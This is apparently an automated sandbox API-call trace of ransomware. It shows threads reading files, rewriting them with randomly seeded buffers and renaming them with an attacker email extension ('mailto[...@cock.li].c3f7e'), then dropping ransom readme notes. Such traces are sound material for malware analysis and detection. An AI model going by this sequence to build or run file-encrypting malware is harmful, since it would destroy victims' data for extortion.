	[0075.915] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x60590b92
	[0075.915] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x1e79e794
	[0075.915] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x19674422
	[0075.924] ReadFile (in: hFile=0x9a4, lpBuffer=0x49468c8, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0xa18fc34, lpOverlapped=0x0 | out: lpBuffer=0x49468c8*, lpNumberOfBytesRead=0xa18fc34*=0xdda, lpOverlapped=0x0) returned 1
	[0075.924] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.924] WriteFile (in: hFile=0x9a4, lpBuffer=0x49530d0*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0xa18fc30, lpOverlapped=0x0 | out: lpBuffer=0x49530d0*, lpNumberOfBytesWritten=0xa18fc30*=0xdda, lpOverlapped=0x0) returned 1
	[0075.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c70
	[0075.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c98
	[0075.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0075.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49530d0) returned 1
	[0075.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49468c8) returned 1
	[0075.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0075.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0075.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724b30
	[0075.927] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.927] WriteFile (in: hFile=0x9a4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa18fc98, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa18fc98*=0x101, lpOverlapped=0x0) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b30) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c70) returned 1
	[0075.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b58) returned 1
	[0075.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ae0) returned 1
	[0075.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724810) returned 1
	[0075.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0075.929] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1043\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf"
	[0075.929] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.929] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa18fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0075.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0075.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0075.932] NtQueryInformationFile (in: FileHandle=0x9a4, IoStatusBlock=0xa18fc5c, FileInformation=0xa18fc34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa18fc5c, FileInformation=0xa18fc34) returned 0x0
	[0075.932] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xa18fc5c, FileInformation=0xa18fc34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0075.933] FlushFileBuffers (hFile=0x9a4) returned 1
	[0075.934] CloseHandle (hObject=0x9a4) returned 1
	[0075.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.935] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0075.935] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt"
	[0075.935] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.935] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a4
	[0075.935] WriteFile (in: hFile=0x9a4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa18fc58, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa18fc58*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.936] CloseHandle (hObject=0x9a4) returned 1
	[0075.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47307e0) returned 1

Thread:
	id = 199
	os_tid = 0x12c8

	[0075.929] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0075.934] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.937] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a4
	[0075.937] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0xa20f7e0 | out: lpFileSize=0xa20f7e0*=79634) returned 1
	[0075.937] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x1370e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.938] ReadFile (in: hFile=0x9a4, lpBuffer=0xa20f764, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa20f760, lpOverlapped=0x0 | out: lpBuffer=0xa20f764*, lpNumberOfBytesRead=0xa20f760*=0x4, lpOverlapped=0x0) returned 1
	[0075.939] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0075.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724ae0
	[0075.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724838
	[0075.939] NtQuerySystemTime (in: CurrentTime=0xa20f740 | out: CurrentTime=0xa20f740*=132251868026690864) returned 0x0
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x4949e36d
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x5b0c8c19
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x91060fdb
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x532034cf
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x41b209cd
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x4fd39cbb
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xe423fb23
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x60b76115
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xf9842701
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xad41af29
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x61f5f4bb
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x9302ec23
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x9e66e7c5
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x58247a3a
	[0075.939] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x93852cff
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x9f0d428c
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xf1cb4299
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xbae512a1
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x65a0bc91
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x5f84b534
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x22eada4
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xd0657721
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xdec3223a
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xac7e4067
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x211fdfcb
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x8e05f343
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xb21d47a0
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x4d4961d1
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x59fe5f00
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xd28c7f3
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0xc405613c
	[0075.940] RtlRandom (in: Seed=0xa20f74c | out: Seed=0xa20f74c) returned 0x77a89673
	[0075.948] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.948] ReadFile (in: hFile=0x9a4, lpBuffer=0x49468c8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa20f720, lpOverlapped=0x0 | out: lpBuffer=0x49468c8*, lpNumberOfBytesRead=0xa20f720*=0xc800, lpOverlapped=0x0) returned 1
	[0075.949] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0075.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04e28
	[0075.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c98
	[0075.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0075.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x49530d0
	[0075.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724b58
	[0075.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c48
	[0075.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c48) returned 1
	[0075.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0075.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0075.951] WriteFile (in: hFile=0x9a4, lpBuffer=0x49530d0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa20f720, lpOverlapped=0x0 | out: lpBuffer=0x49530d0*, lpNumberOfBytesWritten=0xa20f720*=0xc800, lpOverlapped=0x0) returned 1
	[0078.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49530d0) returned 1
	[0078.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49468c8) returned 1
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a1f8
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae38
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753e30
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0078.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a2a0
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344b0
	[0078.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0078.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0078.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753e30) returned 1
	[0078.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae38) returned 1
	[0078.515] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771be0
	[0078.515] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.515] WriteFile (in: hFile=0x9a4, lpBuffer=0x4771be0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa20f7a0, lpOverlapped=0x0 | out: lpBuffer=0x4771be0*, lpNumberOfBytesWritten=0xa20f7a0*=0x113, lpOverlapped=0x0) returned 1
	[0078.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771be0) returned 1
	[0078.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a2a0) returned 1
	[0078.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344b0) returned 1
	[0078.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a1f8) returned 1
	[0078.677] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b58) returned 1
	[0078.679] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ae0) returned 1
	[0078.680] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724810) returned 1
	[0078.680] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b30) returned 1
	[0078.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986c50
	[0078.680] wcscpy (in: _Dest=0x4986c50, _Source="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml"
	[0078.680] wcscat (in: _Dest=0x4986c50, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.680] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa20f758, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476aaa8
	[0078.680] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xa20f750, FileInformation=0x476aaa8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.731] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476aaa8) returned 1
	[0078.731] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dae8) returned 1
	[0078.731] NtQueryInformationFile (in: FileHandle=0x9a4, IoStatusBlock=0xa20f764, FileInformation=0xa20f73c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa20f764, FileInformation=0xa20f73c) returned 0x0
	[0078.731] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xa20f764, FileInformation=0xa20f73c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986c50) returned 1
	[0078.732] FlushFileBuffers (hFile=0x9a4) returned 1
	[0080.076] CloseHandle (hObject=0x9a4) returned 1
	[0080.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.181] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1043\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0080.181] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt"
	[0080.181] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\c3f7e-readme.txt")) returned 0x20
	[0080.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79d60) returned 1

Thread:
	id = 200
	os_tid = 0x518

	[0075.930] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0075.939] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9ac
	[0075.951] GetFileSizeEx (in: hFile=0x9ac, lpFileSize=0xa28fe18 | out: lpFileSize=0xa28fe18*=3046) returned 1
	[0075.952] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0xbe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.953] ReadFile (in: hFile=0x9ac, lpBuffer=0xa28fd9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa28fd98, lpOverlapped=0x0 | out: lpBuffer=0xa28fd9c*, lpNumberOfBytesRead=0xa28fd98*=0x4, lpOverlapped=0x0) returned 1
	[0075.954] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0075.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724b80
	[0075.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0075.955] NtQuerySystemTime (in: CurrentTime=0xa28fd78 | out: CurrentTime=0xa28fd78*=132251868026846328) returned 0x0
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xf19ecabb
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x115c739
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x714158b5
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xd0b3648b
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x94802bcd
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xf6d4077
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x35bd5015
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xb3483d3c
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x87d2746e
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xb5d49db3
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xbcaf0725
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xaf4073c3
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x9a0a4415
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xce9db7ee
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x6580a448
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x53e03c3
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x69fefac6
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xdb1035ae
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xaeb78c2
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x351d631a
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xb065ba33
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x2e7db03a
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x284577ee
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xe14a3e1d
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xb57fdc9f
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x34a4182c
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x27ff5d16
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x7debc6e6
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x20fd9ae7
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xc6d32d65
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0xd2738979
	[0075.955] RtlRandom (in: Seed=0xa28fd84 | out: Seed=0xa28fd84) returned 0x69fbb9c8
	[0075.977] ReadFile (in: hFile=0x9ac, lpBuffer=0x495f8d8, nNumberOfBytesToRead=0xbe6, lpNumberOfBytesRead=0xa28fd74, lpOverlapped=0x0 | out: lpBuffer=0x495f8d8*, lpNumberOfBytesRead=0xa28fd74*=0xbe6, lpOverlapped=0x0) returned 1
	[0075.977] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.977] WriteFile (in: hFile=0x9ac, lpBuffer=0x496c0e0*, nNumberOfBytesToWrite=0xbe6, lpNumberOfBytesWritten=0xa28fd70, lpOverlapped=0x0 | out: lpBuffer=0x496c0e0*, lpNumberOfBytesWritten=0xa28fd70*=0xbe6, lpOverlapped=0x0) returned 1
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34410
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34028
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496c0e0) returned 1
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x495f8d8) returned 1
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e340f0
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34028
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341b8
	[0078.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x4781040
